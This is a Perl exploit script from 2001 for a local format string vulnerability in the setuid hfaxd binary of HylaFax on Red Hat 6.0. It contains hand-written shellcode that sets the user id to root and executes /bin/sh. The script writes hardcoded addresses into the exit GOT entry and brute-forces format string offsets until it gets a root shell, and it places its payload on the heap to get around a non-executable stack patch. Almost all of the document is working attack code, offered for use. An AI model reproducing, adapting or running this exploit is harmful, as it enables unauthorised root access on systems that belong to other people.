#!/usr/bin/perl

# \ Local format string bug in hfaxd (HylaFax) 4.0pl2-2
# \ Tested version: hylafax-4.0pl2-2 - 6.0 Power Tools
# \ Copyright (c) 2001 by <teleh0r@doglover.com>
# \ All rights reserved.
# \
# \ UPDATE: Jun 26 2001
# \ Will now return to an eggshell located on the heap
# \ instead of the stack, in order to to bypass Solar 
# \ Designer's non-executable stack patch.
# \
# \ Credits: Marcin Dawcewicz for finding the bug.
# \ http://www.digit-labs.org/ -- DIGIT-LABS 2001!@#*

# shellcodes written by myself especially for this 
# exploit - IA-32 PIC 40 bytes k0de!@#

$shellcode =
  "\x31\xdb".                # xor  ebx, ebx
  "\xf7\xe3".                # mul  ebx
  "\xb0\x17".                # mov  al, 0x17
  "\xcd\x80".                # int  0x80
  "\x42".                    # inc  edx
  "\x6a\x0a".                # push 0xa
  "\x89\xe1".                # mov  ecx, esp
  "\x43".                    # inc  ebx
  "\xb0\x04".                # mov  al, 0x4
  "\xcd\x80".                # int  0x80
  "\x99".                    # cdq
  "\x52".                    # push edx
  "\x68\x2f\x2f\x73\x68".    # push dword 0x68732f2f
  "\x68\x2f\x62\x69\x6e".    # push dword 0x6e69622f
  "\x89\xe3".                # mov  ebx, esp
  "\x52".                    # push edx
  "\x53".                    # push ebx
  "\x89\xe1".                # mov  ecx, esp
  "\xb0\x0b".                # mov  al, 0xb
  "\xcd\x80";                # int  0x80


# [root@localhost fax]# gdb hfaxd
# ...
# (gdb) x/i exit
# 0x804ce3c <exit>:       jmp    *0x8084e20 <--

$gotaddr = 0x8084e20;
$return  = 0x808af74;
$eggsize = 500;

$nop     = 'A';          # inc %ecx
$brute   = 200;          # (0..200)

stat("/usr/libexec/fax/hfaxd");
die("Error: hfaxd no such file or directory\n") if ! -e _;
die("Error: hfaxd is not installed setuid.\n")  if ! -u _;

print("Copyright (c) 2001 by <teleh0r\@digit-labs.org>\n\n");

# eggshell and format string will be placed together
# on the heap now.

for ($i = 0; $i < ($eggsize - length($shellcode)); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode; $align  = 'X' x $align;

## Make the high and low addresses of $return.

$high = ((($return >> 16) & 0xffff) - (length($buffer) + 8));
$tmp  = $return & 0xffff;
$low  = $tmp - $high;

printf("Return: %#x / High: %d / Low: %d\n", $return,
       $high, $low);

# Bruteforce the right distance and alignment. This may 
# take some time, but is needed since we cannot see the 
# output from our format string (see /var/log/messages)

undef(%ENV); $|++;

for ($i = 0; $i < 4; $i++) { 
    $align = 'X' x  $i;
    for ($l = 1, $j = 2; $l < $brute; $l++, $j++) {
	
	$fs  = pack('l', ($gotaddr + 2));
	$fs .= pack('l', $gotaddr);
	$fs .= $buffer;
	
	printf("Distance: %3d|%3d * Align: %d     \r",
	       $l, $j, length($align));
	
	$fs .= "%.${high}u%$l\$hn%.${low}u%$j\$hn$align";
	$x = (system("/usr/libexec/fax/hfaxd", "-q", $fs));
	
	if ($x =~ m/^(0|256|512|32512)$/) {
	    die("\nThank you for using digit-labs.org warez!\n");
	}
    }
}
print("\nBad luck, did you update the default values?\n");

## Tue Apr 24 17:11:28 /etc/localtime 2001 - digit-labs.org
